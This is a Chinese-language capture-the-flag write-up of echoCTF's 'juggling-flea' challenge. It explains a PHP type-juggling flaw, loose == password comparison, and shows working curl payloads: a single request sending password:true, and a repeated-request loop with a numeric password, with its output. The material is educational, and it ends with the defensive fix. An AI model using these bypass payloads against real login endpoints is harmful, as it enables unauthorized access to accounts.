> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# echoCTF - juggling-flea writeup (zh-TW)
- URL: https://taiwanding.com/echoctf-juggling-flea-writeup-zh-tw/
- Published: 2025-09-04T08:23:16.000Z
- Updated: 2026-07-15T02:49:46.000Z
- Author: Kevin Chen
- Tags: CTF, echoCTF

## **題目資訊**

- **平台**: echoCTF
- **分類**: Web Security
- **難度**: **CTF Beginners** (300 points)
- **描述**: "This API changes password with every request, see if you can find a way to authenticate successfully. There is no need for brute-forcing the authentication with random passwords..."
- **題目連結**: [https://echoctf.red/target/53](https://echoctf.red/target/53?ref=taiwanding.com)

## **解題過程**

**Step 1: 初步偵察** 訪問網站，頁面直接顯示 PHP 源代碼：

```php
<?php
if (empty($_POST))
{
  highlight_file(__FILE__);
  exit;
}
$randno=intval(rand()%10);
$mypassword=$randno.md5(time());
// ... 
if($auth->password==$mypassword)  // 弱比較！

```

關鍵發現：

- 密碼格式：隨機數字(0-9) + MD5(time())
- 使用 `==` 進行弱比較
- 需要 POST 請求且 `$_POST` 不能為空

**Step 2: 分析題目名稱** "**juggling-flea**" 暗示 PHP Type Juggling 漏洞

**Step 3: 理解 PHP Type Juggling** 在 PHP 弱比較中，布林值與字串比較規則：

```php
true == "任何非空字串"  // 永遠 TRUE

```

因為 `$mypassword` 永遠是非空字串（數字+MD5），所以 `true == $mypassword` 必定成立

**Step 4: 繞過 $\_POST 檢查** 關鍵技巧：不設定 `Content-Type: application/json`

- 讓 `$_POST` 有值（繞過檢查）
- `php://input` 仍包含 JSON 資料
- `json_decode()` 可正常解析

**Step 5: 成功獲得 Flag**

```bash
curl -s http://10.0.41.14:1337/ \
  -d '{"username":"admin","password":true}'

```

一次成功！

```
Flag: ETSCTF_REDACTED

```

## **學習重點**

- **布林值繞過最穩定**：不需要碰運氣(可參考下面解法)，100% 成功率
- **理解 $\_POST vs php://input**：
  - `$_POST` 只在特定 Content-Type 時填充
  - `php://input` 永遠包含原始請求body
- **PHP 弱比較危險性**：永遠使用 `===` 進行安全比較

## **經驗分享**

在解這題時，其實還有其他測試方法，可以供參考:

### **嘗試數字 Type Juggling**

理解到 `7 == "7abc..."` 會是 TRUE，開始循環嘗試：

```bash
while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -H "Content-Type: application/json" \
    -d '{"username":"admin","password":7}'
done

```

問題：一直返回 PHP 源代碼，因為加了 JSON header 導致 `$_POST` 為空，這是題目的另一個小心思，需要繞過

所以要改成

```bash
while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done
```

這樣就可以直接暴力破解出來，等於\_POST不為空，會走php://input，通過之後，遲早會有弱比較密碼正確的時候，可以發現經過迴圈終於找到ETSCTF\_REDACTED

```bash
└─$ while true; do
  curl -X POST http://10.0.41.14:1337/ \
    -d '{"username":"admin","password":7}'
done
{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"success":{"message":"Correct password here is your flag ETSCTF_REDACTED"}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}{"error":{"message":"Password authentication failed..."}}
```

總結來說，我是最後才發現，只要不加 `Content-Type` header，問題就解決了！而且用布林值 `true` 比用數字更穩定，直接一次成功，不用一直走迴圈，此外這也有觸碰到基本的程式碼審計，是我比較弱的領域。